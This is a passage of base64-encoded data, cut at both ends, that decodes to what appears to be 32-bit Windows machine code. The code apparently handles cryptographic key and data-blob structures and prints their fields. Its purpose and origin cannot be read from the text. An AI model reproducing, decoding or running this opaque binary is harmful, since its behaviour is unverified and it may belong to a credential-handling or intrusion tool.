oFGwIEOgJXQAAg8RAU1VoSGwIEOj6XAAAi1ZYi05c6O6aAABX6OlcAAD/diRTVWh4bAgQ6NpcAAD/diSLVmAzyUHoSgEAAIPEJF9eXVvDg+wQU1VWV4t8JCSL8ovHiXQkHMHgAjPbUGpAiUwkIP8VQKQHEIkGhcAPhK0AAAAhXCQQM+1Dhf8PhKoAAACF2w+ElgAAAGoUakD/FUCkBxCL+Il8JBSF/3RMi0wkEItUJBhqAIsEEYkHi0QRBIPBCAPRiUcEi/CNTwiJEVaLBBaJRwyNQgQDxolHEOiEngAAi8eNTxBqAP9wDOh1ngAAi3QkLIPEEIsGiTyohf90GosGiwSoi0gMA0gEi0QkEIPADAPBiUQkEOsCM9uLfCQkRTvvD4Jm////hdt1DIsOi9foDQAAAIMmAF9eXYvDW4PEEMNRVYvpi8KJRCQEhe10P1Yz9leLPSSkBxCFwHQsU4tctQCF23Qdg3sIAHQF/3MI/9eDexAAdAX/cxD/11P/14tEJBBGO/By1ltV/9dfXl1Zw1FTi1wkDIvCiUQkBIXbD4SJAAAAhcAPhIEAAABWM/aF23R5VVeNLAmLPLBoDGgIEFVorGwIEOhHWwAAg8QMhf90T/83/zdoDGgIEFVo0GwIEOgsWwAA/3cIaAxoCBBVaARtCBDoGVsAAGgMaAgQVWgsbQgQ6AlbAACLVwyLTxDo/ZgAAGjUaQgQ6PRaAACDxDSLRCQQRjvzco5fXV5bWcNVi+yD5PhTVVZXi+mLPUCkBxBqEGpA/9eL8IX2dGGLTQCNXQiJDotNBIlOBIvLi1YEA9U7ynMNi0YIAwlAiUYIO8py9otGCIXAdDTB4AJQakD/14lGDIXAdCUz/zl+CHYei0YEA8U72HMVi8voBwEAAItODIkEuUcDGzt+CHLiX4vGXl1bi+Vdw1aL8YX2dHlVM+1Xiz0kpAcQOW4MdGU5bgh2W1OLRgyLHKiF23RJg3ssAHQF/3Ms/9eDezQAdAX/czT/14N7PAB0Bf9zPP/Xg3tEAHQF/3NE/9eDe0wAdAX/c0z/14tLUIXJdAiLUxzoG/7//1P/10U7bghyp1v/dgz/11b/119dXsNTVle7DGgIEDP2U1ZoUG0IEIv66L9ZAACDxAyF/3RK/zf/N1NWaJhtCBDoqFkAAP93BP93BFNWaOBtCBDollkAAP93CFNWaCRuCBDoh1kAAIPEODl3CHYRi1cMixSy6NMAAABGO3cIcu9fXlvDUVNVVldqVGpAi+n/FUCkBxCL2IXbD4SmAAAAagtZi/WL+/Oli0MojU0siUssixQIg8EEA8GJUzCJQzSLDBCDwgQDwolLOIlDPIsUCIPABAPBiVNAiUNEizQQg8AEA8KJc0iDexwAiUNMdBX/cxyLzo1TUIPhAQPIA87oJ/z//1kz9o1LLFb/cyjoLJsAAFb/czCNSzToIJsAAFb/cziNSzzoFJsAAFb/c0CNS0ToCJsAAFb/c0iNS0zo/JoAAIPEKF9eXYvDW1nDU1VWvQxoCBCL8lVqAltTaFhuCBDoiFgAAIPEDIX2D4RDAQAAV/82/zZVU2iQbggQ6GxYAAD/dgT/dgRVU2hgaQgQ6FpYAACLTgiD+QcbwCPB/zSFOAMIEFFRVVNoEGkIEOg7WAAAg8RAVVNopGkIEOgsWAAAjU4M6PKYAAC/1GkIEFfoGVgAAP92FP92FFVTaNhpCBDoB1gAAItOGOjJAAAAUFFRVVNoIGoIEOjwVwAA/3Yc/3YcVVNocGoIEOjeVwAAg8RQ/3Yg/3YgVVNouGoIEOjJVwAA/3Yk/3YkVVNoAGsIEOi3VwAA/3YsVVNoRGsIEOioVwAA/3Y0VVNorGsIEOiZVwAAg8RI/3Y8VVNo4GsIEOiHVwAA/3ZEVVNoFGwIEOh4VwAAVVNoSGwIEOhsVwAAi1ZIi05M6GCVAABX6FtXAAD/dhxVU2h4bAgQ6ExXAACLVlCDxECLy/92HOi6+///WV9eXVvDg/kEcwiLBI0oAwgQw7jUbggQw1FTVYstQKQHEFZqMIvxakCJdCQU/9WL2IXbdGVXagZZi/vzpYtMJBCNexyLQxSDwRgDwYlLGIvwaihqQKWlpaWNcBCJdCQY/9WL6IXtdB+LRCQQi/1qCVnzpWoA/3UgjU0kg8AkiQHoB5kAAFlZagD/cxSNSxiJayzo9ZgAAFlZX15di8NbWcNTVle/DGgIEDPbV1No+G8IEIvy6INWAACDxAyF9nRrVf82/zZXU2gkcAgQ6GtWAABXU2hYcAgQ6F9WAACNTgTo05cAAL3UaQgQVehMVgAA/3YYV1NoeHAIEOg9VgAA/3Yk/3Yg/3YcV1NooHAIEOgoVgAAi1Ysg8RMhdJ0BegMAAAAVegTVgAAWV1fXlvDVYvsg+T4UVVWV70MaAgQi/JVagJo4HAIEOjvVQAAg8QMhfZ0VFVqAmgUcQgQ6NtVAACDxAyLzuhNlwAAv9RpCBBX6MZVAABZVWoCaDBxCBDouFUAAIPEDI1OEOgplwAAV+inVQAAi1YkWWoCWejwHwAAV+iVVQAAWV9eXYvlXcOLETPAg/okD4KVAAAAU1W9S0RCTbtLU1NNVlc5aQx1EYN5CAJ1doN5FBB1cI1xGOsXOVkQdWiBeSCAAAAAdV2DeSQQdVeNcSiLfCQUM8ClpaWlg3wKBDRyRTlsChB1E0A5RAoMdTaDfAoYIHUvjXEc6x05XAoUdSaBfAokAAEAAHUag3wKKCB1EzPAjXEsQIt8JBgD8moIWfOl6wIzwF9eXVvDVYvsg+T4g+wQU1VWV4vpajxqQIlsJCT/FUCkBxCL2IXbD4QKAQAAagpZi/WNVSiL+zPt86WLcySNSyiJEVVWiwQWiUMsjUIEA8aJQzDo6JYAAFX/cyyNSzDo3JYAAItDLIPEEDPSagxZ9/GDexAEiUM0G8n32QPIweECUWpA/xVApAcQiUM4hcAPhKIAAACLdCQcOWs0dmWL/Yl0JBiJfCQUaiBqQP8VQKQHEItLOIkEqYXAdDaLQzCLRDgEi3s4A0QkHIvwiUQkGIs8r41IBKWlpaWLUziDOGQPQsiLFKqDwRDoUwAAAIt8JBRFg8cMiXwkFDtrNHKpi3QkGIX2dDCDexAEcypqIGpA/xVApAcQi0s4iQSphcB0FotTOItOEIPBFgPOixSq6A0AAAD/QzRfi8NeXVuL5V3DVovxV4v6iwaJRxCFwHRDSIlHEIpGBIPGBYTAdCSDRxD8iwaJRxiFwHQXKUcQjU8cg8YEagCJMQPwUOjAlQAAWVlqAP93EI1PFIkx6K+VAABZWV9ew1aL8YX2dGiDfigAU1eLPSSkBxB0Bf92KP/Xg34wAHQF/3Yw/9cz2zleOHQ+OV40djSLRjiLBJiFwHQkg3gUAHQF/3AU/9eLRjiLBJiDeBwAdAX/cBz/14tGOP80mP/XQzteNHLM/3Y4/9dW/9dfW17DU1ZXuwxoCBAz9lNWaExxCBCL+ujRUgAAg8QMhf8PhAQBAABVU1ZogHEIEOi5UgAAi8/oLpQAAL3UaQgQVeinUgAA/3cQ/3cQU1ZouHEIEOiVUgAAU1ZoBHIIEOiJUgAAjU8U6E+TAABV6HtSAAD/dxz/dxxTVmhAcggQ6GlSAACDxEj/dyD/dyBTVmiQcggQ6FRSAAD/dyhTVmjccggQ6EVSAAD/dyz/dyxTVmggcwgQ6DNSAACLRyyDxDgz0ovuagxZ9/GFwHQ8i96LRzD/dAMI/3QDCP90AwT/dAME/zQDaAxoCBBWaHBzCBDo+FEAAItHLIPEIDPSRWoMWffxA9k76HLGXTl3NHYRi1c4ixSy6BUAAABGO3c0cu9o1GkIEOjDUQAAWV9eW8NTVVa7DGgIEIvyU2oCXVVo6HMIEOilUQAAg8QMhfYPhIoAAABX/zb/NlNVaDB0CBDoiVEAAP92DP92CP92BFNVaKBwCBDodFEAADP/g8QsOX4YdCo5fhx0JVNVaGR0CBDoWVEAAItWGItOHFfofZEAAGjUaQgQ6ENRAACDxBQ5fhB0Kjl+FHQlU1VohHQIEOgqUQAAi1YQi04UV+hOkQAAaNRpCBDoFFEAAIPEFF9eXVvDUVNViy1ApAcQVmoQi/FqQIl0JBT/1YvYhdt0XFeL+6WlpYtDBIXAdE7B4AJQakD/1YlDDIXAdD+LfCQQM/aDxww5cwR2MYtvBIPFCFVqQP8VQKQHEItLDIkEsYXAdBCLQwxVV/80sOjISwcAg8QMA/1GO3MEcs9fXl2Lw1tZw1NVVrsMaAgQi/JTagJdVWiodAgQ6HRQAACDxAyF9g+ExQAAAFf/Nv82U1Vo/HQIEOhYUAAA/3YE/3YEU1VoMHUIEOhGUAAA/3YI/3YIU1VoZHUIEOg0UAAAM/+DxDw5fgwPhIEAAABo1GkIEOgcUAAAWTl+BHZxU1VomHUIEOgKUAAAi0YMg8QMiwS4iwiLwYPoAXQmg+gBdBqD6AF0DlFoFHYIEOjjTwAAWesYaPB1CBDrDGjMdQgQ6wVoqHUIEOjITwAAi0YMWYsUuI1KCItSBOi1jQAAaNRpCBDorE8AAEdZO34Eco9fXl1bw4PsFFNVVovxM+2L3VeL+oH+AIAAAHVtg3wkMAQPhRsBAACNRCQQUGh8/////xWspgcQhcAPiAMBAACNRCQcUItEJBRV/1AMhcAPiO4AAACLRCQQV/90JCz/dCQk/1AQ/3QkLItEJBT/dCQg/1AUhcCNRCQcUItEJBQPmcP/UBjpuQAAAGgAAADwahhVVY1EJDBQ/xU8oAcQhcAPhJ0AAACNRCQYUFVVVv90JDD/FSSgBxCFwHR8Vf90JCxX/3QkJP8VIKAHEIXAdF6LPQygBxCNRCQUVVBVagL/dCQo/9eFwHRF/3QkFGpA/xVApAcQi/CF9nQzVY1EJBhQVmoC/3QkKP/Xi0wkMIvYOUwkFA9CTCQUUVb/dCQ06KpJBwCDxAxW/xUkpAcQ/3QkGP8VGKAHEFX/dCQk/xUAoAcQX15di8Nbg8QUw1FRU4tcJBSLwlVWiUwkELkDZgAAVzP/iUQkEI1rDDvBdFBVakD/FUCkBxCL8IX2dGKLRCQQU/90JCCJRgSNRgxQxwYIAgAAiV4I6DJJBwCDxAz/dCQo/3QkKFdVVv90JCj/FRCgBxBWi/j/FSSkBxDrITl8JCx0G/90JCyLVCQg/3QkLP90JCxT6GwIAACDxBCL+IvHX15dW1lZw4HsHAEAAFOLnCQsAQAAVVaLtCQsAQAAO/NXG+2JTCQQRYv6O/NyB1NX6ZkAAABqQI1EJBhqNlDoGYkFAGpAjUQkZGpcUOgLiQUAg8QYhfZ0I41MJBSL3o1UJFQrzyvXigcwBDkwBDpHg+sBdfKLnCQ4AQAAi3wkEI2EJJQAAABWUGpAjVQkIIvP6I/9//+DxAyFwHRBjYQklAAAAIvPVgPGjVQkWFBqQOhw/f//i+iDxAyF7XQgjQw2O9mNhCSUAAAAD0LLUVD/tCQ8AQAA6BJIBwCDxAxfXovFXVuBxBwBAADDg+wMU4sdCKAHEI1EJARVVlcz9olMJBRWUFZqBlGJdCQk/9OFwA+EtAAAAP90JBCLLUCkBxBqQP/Vi/iF/w+EnAAAAFaNRCQUUFdqBv90JCT/04XAD4SFAAAAVo1EJBRQVmoE/3QkJP/ThcB0Z/90JBBqQP/Vi+iF7XRZVo1EJBRQVWoE/3QkJP/ThcB0P1aNRCQUx0QkFAQAAABQjUQkIFBqEP90JCT/04XAdCBW/3QkGP8VAKAHEGoQ/3QkHI1EJBxVV1D/FUSgBxCL8FX/FSSkBxBX/xUkpAcQhfZ1E/8VNKQHEFBoOHYIEOjqSwAAWVlfi8ZeXVuDxAzDg+wkU1VWM+2JTCQcaAAAAPBqGFVVjUQkJIlsJDBQi/KJbCQ4i92JbCQ8iWwkQP8VPKAHEIXAD4T2AAAAi0wkFI1EJBhVUGgAAQAA/3QkQLoCZgAAVugr/f//g8QUhcAPhMIAAACNRCQMUFX/dCQgaAmAAAD/dCQk/xUkoAcQhcAPhJcAAABVjUQkIFBqBf90JBj/FRygBxCFwHR3Vf90JED/dCRA/3QkGP8VIKAHEIXAdGBVjUQkFFBVagL/dCQc/xUMoAcQhcB0Sf90JBBqQP8VQKQHEIvwhfZ0N1WNRCQUUFZqAv90JBz/FQygBxCLTCREi9g5TCQQD0JMJBBRVv90JEjo/UUHAIPEDFb/FSSkBxD/dCQM/xUYoAcQ/3QkGP8VSKAHEFX/dCQY/xUAoAcQXl2Lw1uDxCTDg+wkU1VWaAAAAPBqGDP2iVQkHFZWjUQkOIvpi96JbCQoUIlcJCT/FTygBxCFwA+EqwEAAI1EJCRQVlZV/3QkOP8VJKAHEIXAD4SGAQAAVo1EJBBQVmoC/3QkNP8VDKAHEIXAD4RhAQAAi0QkPIs1QKQHEIPABFBqQP/Wi+iJbCQshe0PhD8BAAD/dCQMakD/1ovYhdsPhCIBAABX/3QkEGpA/9aL+IX/D4QHAQAA/3QkQDP2/3QkQEZViXQkIOgIRQcAg8QMi86DfCRMAIlMJCQPhtcAAACLVCQYi8GLTCRAD8iJBCmNQQT/dCQQi0wkIFdQVf90JEjoyP3///90JCRXU+jDRAcAi0QkZIPEIDvGi3QkEHZdSIlEJCCLVCQYi0wkHFZXVlf/dCRI6JT9//+LdCQkg8QUM+2F9nQVi9eLyyvTigQKMAFFi3QkEEE77nLxg3wkUAB0D1ZTV+hpRAcAi3QkHIPEDINsJCABdayLbCQwOXQkTA9CdCRMVlP/dCRQ6ENEBwCLRCRYg8QMAXQkSCvGi0wkJIt0JBRBiUQkTIlMJCSFwA+FKf///1f/FSSkBxBT/xUkpAcQX1X/FSSkBxCLXCQQM/b/dCQk/xUYoAcQVv90JCz/FQCgBxBeXYvDW4PEJMNVi+yLRQjB4ASDfQwAiUUIdBRQjUUIUFIzwFBQUFH/FTigBxBdw41FCFBSM8BQUFBR/xUsoAcQXcOD7DRTVot0JECLwldqEIv5iUQkEFkz2zvxD4ZHAQAAjUQkEFBTU1f/FTSgBxCFwA+ESQEAAFP/dCRMagFX/xUUoAcQhcAPhA8BAABVjW4Pwe0Eg+YPahBYD0XGi3QkEIlEJEiD/QJ2HI1F/ovWU1CLz+hR////WVmFwA+E2QAAAItEJEiNTf6DwBDB4QRQA86NRCQoUVCJTCQs6AtDBwCLdCRUjUwkQGoQWCvGA85QU1GJRCQ06GCDBQCDxBjHRCQYEAAAAI1EJBhQjUQkKFBTU1P/dCQo/xUsoAcQhcB0ef90JBwPEEwkKI1EJCgPEEQkOAPGUI1EJDxmD+/IA8ZQDxFMJDDooEIHAIPEDMdEJBwQAAAAjUQkHFCNRCQ4UFNTU1f/FSygBxCL2IXbdCqLfCQgjXQkNP90JEiNRCQoweUEUItEJBilg8DwA8VQpaWl6FRCBwCDxAxd/3QkEP8VSKAHEOsYdRaJTCREjUwkRFFQU1NTV/8VLKAHEIvYX16Lw1uDxDTDg+woU1VWi3QkOIvBV2oQXzPtiVQkEIlEJBQ79w+GxQAAAFX/dCREagFQ/xUUoAcQhcAPhL4AAACNXg+Lx8HrBIPmDw9Fxot0JBSJRCQ8g/sCdh+LVCQQjUP+agFQi87o3P3//1lZhcAPhIgAAACLRCQ8jUv+g8AQweEEA0wkEFBRjUQkIIlMJBxQ6JRBBwCLRCRIjUwkNCv4A8FXVVDo8IEFAGoBagKNVCQ4i87ojv3//4vog8Qghe10O4t8JBSNdCQo/3QkPI1EJBzB4wRQi0QkGKWDwPADw1ClpaXoQUEHAIPEDOsPdQ1qAWoB6E79//9ZWYvoX16LxV1bg8Qow1WL7IPsDFNWV2gAAADwahgz28dF9AEAAABTU41F+Iv6UIvz/xU8oAcQhcB0ZotN+I1F/FNQU2oQ/3UMug5mAADoXff//4PEFIXAdD1TjUX0UGoE/3X8/xUUoAcQhcB0IIvXi038/3UU/3UIOV0YdAfoi/7//+sF6P38//9Zi/BZ/3X8/xVIoAcQU/91+P8VAKAHEF+Lxl5bi+Vdw4PsGFVWiVQkHDP2iUwkGOg9hwAAi+iJbCQUhe0PhOoBAABTi1wkNGoIahhWVVP/FTygBxCFwA+EyAEAAI1EJAyJdCQMUGgBAAAEagH/M/8VBKAHEIXAD4SMAQAAV4s9KKAHEI1EJBRQVlZqB1b/dCQk/9eFwA+EbAEAAP90JBRqQP8VQKQHEIvoiWwkGIXtD4ROAQAAjUQkFFBVVmoHVv90JCT/14XAD4QvAQAA/3QkEP8VSKAHEIl0JBCLXQzB6wPHRRABAAAAi/PR7o1sXQCDxRSNfv9XagCNRQHGRQABUOgRgAUAA+4z9ldWjUUBxkUAAVDo/n8FAFeNQwHGRB0AAQPFVlDo7H8FAItcJFyNRCQ0i2wkPIPEJFBWVv90JCBV/zP/FRCgBxCFwA+EqgAAALiMAAAAUGpAiUQkHP8VQKQHEIv4hf8PhI4AAACLRCQgjVcMi0wkLIvuxwcBAgAAiUcEx0cIAKQAAIXJdBaNWf8DXCQkigOIBCpFSzvpcvWLXCQ4jSwKi1QkFIvCK8GD6A90HIB8LgEAdQnGRC4BQotUJBSLwkYrwYPoDzvwcuT/dCQ0xkQX/gL/dCQ0/3QkGP90JCBX/zP/FRCgBxBXi/D/FSSkBxCLbCQYVf8VJKQHEItsJBxfg3wkDAB0Cv90JAz/FUigBxCF9nUHiwvogfb//1X/FSSkBxBbi8ZeXYPEGMNVi+yD7AxWV2gAAADwahgz/41F+FdXUIvxiX30/xU8oAcQhcB0OI1F/FBXV1b/dfj/FSSgBxCFwHQaV41F9FBXagL/dfz/FQygBxD/dfz/FRigBxBX/3X4/xUAoAcQi0X0X16L5V3DVYvsg+wQVldoAAAA8GoYM//HRfAEAAAAV1eNRfiJffRQi/H/FTygBxCFwHQ6jUX8UFdW/3X4/xUEoAcQhcB0HVeNRfBQjUX0UGoI/3X8/xVAoAcQ/3X8/xVIoAcQV/91+P8VAKAHEItF9F/B6ANei+Vdw1WL7IPsEFZXaAAAAPBqGDP/x0XwBAAAAFdXjUX4iX30UIvx/xU8oAcQhcB0Oo1F/FBXVv91+P8VBKAHEIXAdB1XjUXwUI1F9FBqCf91/P8VQKAHEP91/P8VSKAHEFf/dfj/FQCgBxCLRfRfwegDXovlXcNVi+yD7CSNRfhTVldqAf91CIv6i9lQ/xVopwcQi/CF9g+InQAAAItN+IPBEGaJTfJmiU3wD7fJUWpA/xVApAcQiUX0hcB0cov3i/ilpaWlD7dF+FCLRfT/dfyDwBBQ6MM8BwCDxAyNRfBTUP8VMKAHEIN9DACL8HQ3hfZ4M2oAahCNReCL01D/dQwPt0X4uQSAAABQ/3X8ahDovfb//4PEHIXAdAuL+4114KWlpaUz9v919P8VJKQHEI1F+FD/FTinBxBfi8ZeW4vlXcOD7BBTVVZXaAAAAPBqGDPtx0QkIAEAAABVVY1EJCSL+lCL8Yvd/xU8oAcQhcAPhAgBAACLTCQUjUQkEFVQVWoQVroOZgAA6I7y//+DxBSFwA+ExQAAAIs1FKAHEI1EJBhVUGoE/3QkHP/WhcAPhJcAAABVV2oB/3QkHP/WhcB0dItcJChTakD/FUCkBxCLfCQsi/CJN4X2dH6LbCQwU/90JChWiV0A6K87BwCDxAxVVjP2VmoBVv90JCT/FSygBxCL2IXbdSD/FTSkBxBQaAB3CBDoW0AAAFlZ/zf/FSSkBxCJB4l1ADPt/3QkEP8VSKAHEOs6/xU0pAcQUGiIdwgQ6C1AAABZWevf/xU0pAcQUGggeAgQ6+mL3evN/xU0pAcQUGjAeAgQ6AZAAABZWVX/dCQY/xUAoAcQ6xP/FTSkBxBQaFB5CBDo5j8AAFlZX15di8Nbg8QQw1FRVVZXagYz9o1EJBBWaOR5CBCL+Yl0JBhQV4vqiXQkJP8VbKEHEIXAdEz/dCQMakD/FUCkBxCJRCQQhcB0OGoGVmjkeQgQjUQkGFBX/xVsoQcQhcB0Ev90JAyLVCQUi83oTiIAAFmL8P90JBD/FSSkBxCF9nUT/xU0pAcQUGj4eQgQ6FI/AABZWV+Lxl5dWVnDg+wkU1VWM/bHRCQYeHoIEDPtiXQkFEWJdCQgV4v6iWwkIIvZiXQkKIl0JCyJbCQw6AWBAACJRCQYhcAPhJQAAABqCP90JCT/dCQkUI1EJCBQ/xU8oAcQhcB0XY1EJBRQVVb/dCRI/3QkSP90JCT/FRCgBxCFwHQi/3QkRI1EJByL11CLy+hVAAAAWVn/dCQUi/D/FUigBxDrE/8VNKQHEFBo2HoIEOidPgAAWVmLTCQQ6Ljx///rE/8VNKQHEFBoWHsIEOh/PgAAWVn/dCQY/xUkpAcQX4vGXl1bg8Qkw1FTVVZXM/aL2lZoACAAAFZWagKL6f8VdKEHEIv4hf90dY1EJBBQagFTVWoBV/8VYKEHEIXAdEP/dCQYVmoC/3QkHP8VcKEHEIXAdA+LVCQci8/oOP7//4vw6xP/FTSkBxBQaOB7CBDo/T0AAFlZ/3QkEP8VZKEHEOsT/xU0pAcQUGjIfAgQ6N49AABZWWoBV/8VaKEHEF+Lxl5dW1nDUVNVVldosJsJEGgAQAEAM/aL2lZWagqL6f8VdKEHEIv4hf90aI1EJBBQagFTVWoBV/8VYKEHEIXAdDb/dCQYVmoC/3QkHP8VcKEHEIvwhfZ1E/8VNKQHEFBocH0IEOhoPQAAWVn/dCQQ/xVkoQcQ6xP/FTSkBxBQaFh+CBDoST0AAFlZagFX/xVooQcQX4vGXl1bWcNWV4v5hf90MjP2/zT1EAUIEFfo8q4FAFlZhcB0IosE9RAFCBCDwCRQV+jbrgUAWVmFwHQLRoP+CHLQM8BfXsOLBPUUBQgQ6/SFyXUGuIKkCBDDM8A5DMXEBwgQdAlAg/gScvEzwMOLBMXABwgQg8AKw4P5AXQcg/kCdBGD+f+41G4IELrIpAgQD0TCw7ispAgQw7iMpAgQwzPAOQzFhAMIEHQJQIP4LnLxM8DDiwTFgAMIEMNWV4v5hf90MjP2/zT1gAMIEFfoPq4FAFlZhcB0IosE9YADCBCDwApQV+gnrgUAWVmFwHQLRoP+LnLQM8BfXsOLBPWEAwgQ6/RWi/GF9nRFg34QAHQJ/3YQ/xUkpAcQg34EAHQJ/3YE/xVIoAcQg34UAHQJ/3YU/xVIoAcQgz4AdApqAP82/xUAoAcQVv8VJKQHEIvwi8Zew1ZXahhqQIv5/xVApAcQi/CF9g+EtwAAAFNoAAAA8GoNaLiECBBqAFaJfgj/FTygBxCFwA+EjAAAAI1+BFdoQQAABGgCqgAA/zb/FQSgBxCFwHRyix0UoAcQagBovAIIEGoL/zf/04XAdFtqAGjEAggQagz/N//ThcB0SmoAagBqDv83/9OFwHQ8M8CNXgxTUFBqBlD/N/8VKKAHEIXAdCX/M2pA/xVApAcQiUYQhcB0FFNQagBqBmoA/zf/FSigBxCFwHUJi87o5P7//4vwW1+Lxl7DVVYz7Y1xFIkuV4v9hdIPhIgAAACLAlONWQg5A3VdVlX/cQT/cgT/cgj/Mf8VEKAHEIXAdDFVU2oH/zb/FRSgBxCL+IX/dVT/FTSkBxBQaAioCBDovjoAAFlZ/zb/FUigBxCJLus1/xU0pAcQUGiYqAgQ6J86AABZWesgUIvI6PX9//+LC1D/M+jr/f//UGggqQgQ6H46AACDxBRbi8dfXl3DVYvsUYtFCFOLXRBWV4t9DDP2iVX8iTeJA41FDFBWVlH/FTSgBxCFwHRhVlNWVmoBVv91DP8VOKAHEIXAdET/M2pA/xVApAcQiQeFwHQ0/3UI/3X8UOhCNQcAg8QMjUUI/zNQ/zdWagFW/3UM/xU4oAcQi/CF9nUK/zf/FSSkBxCJB/91DP8VSKAHEF+Lxl5bi+Vdw1FTi1wkDI1EJBBVi2wkGFZXi3wkHDP2UFZWiTdRiVQkIIldAP8VNKAHEIXAdEhTakD/FUCkBxCJB4XAdC9T/3QkFFDowDQHAIPEDFX/N1ZqAVb/dCQw/xUsoAcQi/CF9nUK/zf/FSSkBxCJB/90JBz/FUigBxBfi8ZeXVtZw1FTVYvpM9tWV4XtD4TLAAAAamxqQP8VQKQHEIvYhdsPhLcAAABqDFmL9Yv786WLQyyNTTADwYlLMIvwjXs0agCNUAylpaWLQzyNe0yJU0CLDAKDwgQDwolLRIlDSAPBi/CNSAyljVEEpaWLQ1SL+4lLWAPQizQIiXNciVNgiwQyiUdkjUYEi/MDwolHaP92LI1OMOgaewAAagD/djyNTkDoDXsAAGoA/3ZEjU5I6AB7AABqAP92VI1LWOjzegAAagD/dlyNS2Do5noAAGoA/3NkjU9o6Nl6AACDxDBfXl2Lw1tZw1aL8YX2dE2DfjAAV4s9JKQHEHQF/3Yw/9eDfkAAdAX/dkD/14N+SAB0Bf92SP/Xg35YAHQF/3ZY/9eDfmAAdAX/dmD/14N+aAB0Bf92aP/XVv/XX17DUVNVVle7DGgIEI08CVNXaNCpCBCL8ugNOAAAg8QMhfYPhFECAAD/Nv82U1do8KkIEOjyNwAAg8QUU1doPKoIEOjjNwAAg8QMjU4E6FR5AAC91GkIEFXozTcAAFn/dhT/dhRTV2h4qggQ6Lo3AACDxBRTV2jEqggQ6Ks3AACDxAyNThjoHHkAAFXomjcAAFn/dij/dihTV2gAqwgQ6Ic3AACLTiiDxBToLRkAAGhMqwgQ6HI3AABZ/3Ys/3YsU1doWKsIEOhfNwAAg8QU/3YwU1dopKsIEOhNNwAAi0406Kf6//9QUVFTV2jgqwgQ6DY3AAD/djj/djhTV2g4rAgQ6CQ3AACDxDz/djz/djxTV2iIrAgQ6A83AACDxBRTV2jUrAgQ6AA3AACLVjyDxAyLTkAz21PoH3cAAFlV6Og2AABZ/3ZE/3ZEaAxoCBBXaBCtCBDo0TYAAIPEFGgMaAgQV2hcrQgQ6L42AACLVkSDxAyLTkhT6N92AABZVeioNgAAWYtOTOgB+v//UFFRaAxoCBBXaJitCBDojDYAAP92UP92UGgMaAgQV2jwrQgQ6HY2AACDxCz/dlT/dlRoDGgIEFdoQK4IEOhdNgAAg8QUaAxoCBBXaIyuCBDoSjYAAItWVIPEDItOWFPoa3YAAFlV6DQ2AABZ/3Zc/3ZcaAxoCBBXaMiuCBDoHTYAAIPEFGgMaAgQV2gUrwgQ6Ao2AACLVlyDxAyLTmBT6Ct2AABZVej0NQAAWf92ZL0MaAgQ/3ZkVVdoUK8IEOjcNQAAg8QUVVdonK8IEOjNNQAAi1Zkg8QMi05oU+judQAAxwQk1K8IEOiyNQAAWV9eXVtZw1FWV4v5i8roPfz//4vwhfZ0EIvWi8/oaP3//4vO6Av9//9fXlnDU1WL6TPbVleF7XQ1aihqQP8VQKQHEIvYhdt0JYtEJBSNVSBqCFmL9Yv786WDwOCNSyBqAFCJEYlDJOiWdwAAWVlfXl2Lw1vDVovxhfZ0FoN+IAB0Cf92IP8VJKQHEFb/FSSkBxBew1NWV78MaAgQi/JXagJbU2jcrwgQ6AU1AACDxAyF9g+EnAAAAP82/zZXU2gAsAgQ6Oo0AABXU2hIsAgQ6N40AABqAGoQjU4EWugBdQAAaNRpCBDoxzQAAP92FP92FFdTaICwCBDotTQAAItOGOgP+P//UFFRV1NoyLAIEOieNAAAi04cg8RU6PX3//9QUVFXU2gYsQgQ6IQ0AABXU2hosQgQ6Hg0AACLViSLTiBqAOibdAAAaNSvCBDoYTQAAIPELF9eW8NWV78MaAgQi/JXagJonLEIEOhENAAAg8QMhfZ0M/82/zZXagJoALAIEOgsNAAAV2oCaMixCBDoHzQAAI1OBOiTdQAAaNSvCBDoDTQAAIPEJF9ew1NVVldqJGpAi+n/FUCkBxCL2IXbdDRqB1mL9Y1VHIv7jUUc86WNSxyJEYtTBAPCagBSiUMg6B12AABqAP9zCI1LIOgQdgAAg8QQX15di8Nbw1NVVrsMaAgQi/JTagJdVWj8sQgQ6J0zAACDxAyF9g+EnQAAAFf/Nv82U1VoALAIEOiBMwAA/3YE/3YEU1VoILIIEOhvMwAA/3YI/3YIU1VoaLIIEOhdMwAAU1VosLIIEOhRMwAAg8RIjU4M6MJ0AAC/1GkIEFfoOzMAAFNVaOSyCBDoLzMAAItWBItOHGoA6FJzAABX6BwzAABTVWgYswgQ6BAzAACLVgiLTiBqAOgzcwAAaNSvCBDo+TIAAIPELF9eXVvDUVNVi+kz21ZXhe0PhMAAAABokAAAAGpA/xVApAcQi9iF2w+EqQAAAGogWYv1i/vzpYtDYAtDZHQZ/3NkjY2AAAAA/3Ng6CL9//9ZWYmDgAAAAItDaAtDbHQc/3NsjY2AAAAA/3NoA0tg6P78//9ZWYmDhAAAAItDcAtDdHQsi0toM8CLc2ADzYPugAPxdBVqFGpA/xVApAcQhcB0B2oFWYv486WJg4gAAACLQ3gLQ3x0H4tLaIPpgANLcAPNA0tgdAfoI/7//+sCM8CJg4wAAABfXl2Lw1tZw1aL8YX2dFuLjoAAAACFyXQF6MX8//+LjoQAAACFyXQF6Lb8//+LhogAAABTV4s9JKQHEIXAdANQ/9eLnowAAACF23QZg3scAHQF/3Mc/9eDeyAAdAX/cyD/11P/11b/119bXsNTVle7DGgIEDP/U1doTLMIEIvy6JwxAACDxAyF9g+EEwEAAP82/zZTV2jwqQgQ6IExAACNRgxQU1doeLMIEOhxMQAA/3Zc/3ZcU1dowLMIEOhfMQAA/3Zg/3ZgU1doELQIEOhNMQAAg8RM/3Zo/3ZoU1doYLQIEOg4MQAA/3Zw/3ZwU1dosLQIEOgmMQAA/3Z4/3Z4U1doALUIEOgUMQAAg8Q8Ob6AAAAAdBpTV2hMtQgQ6P0wAACLloAAAACDxAzo0fv//zm+hAAAAHQaU1dobLUIEOjbMAAAi5aEAAAAg8QM6K/7//85vogAAAB0GlNXaIy1CBDouTAAAIuWiAAAAIPEDOhR/P//Ob6MAAAAdBpTV2istQgQ6JcwAACLlowAAACDxAzo0/z//2jUaQgQ6H8wAABZX15bw1WL7IPk+IPsGFNVVleL6ovxM9uJdCQUhfYPhCgBAABqIGpA/xVApAcQi9iF2w+EFAEAAIPG6Iv7agYD9VnzpYtLFGoYXol0JCCL1jvudhuLfCQUhcl0E4vHK8ErwotMKBQD0f9DHDvVcumLQxzB4AJQakD/FUCkBxCJQxiFwA+EwwAAAItLFIlMJBw77g+GtAAAADP/iXwkJIXJD4SmAAAAi0QkFINkJBAAK8ErxgPFiUQkGIXAdGVqUGpA/xVApAcQiUQkEIXAdFOLVCQYi/hqEYvyg8J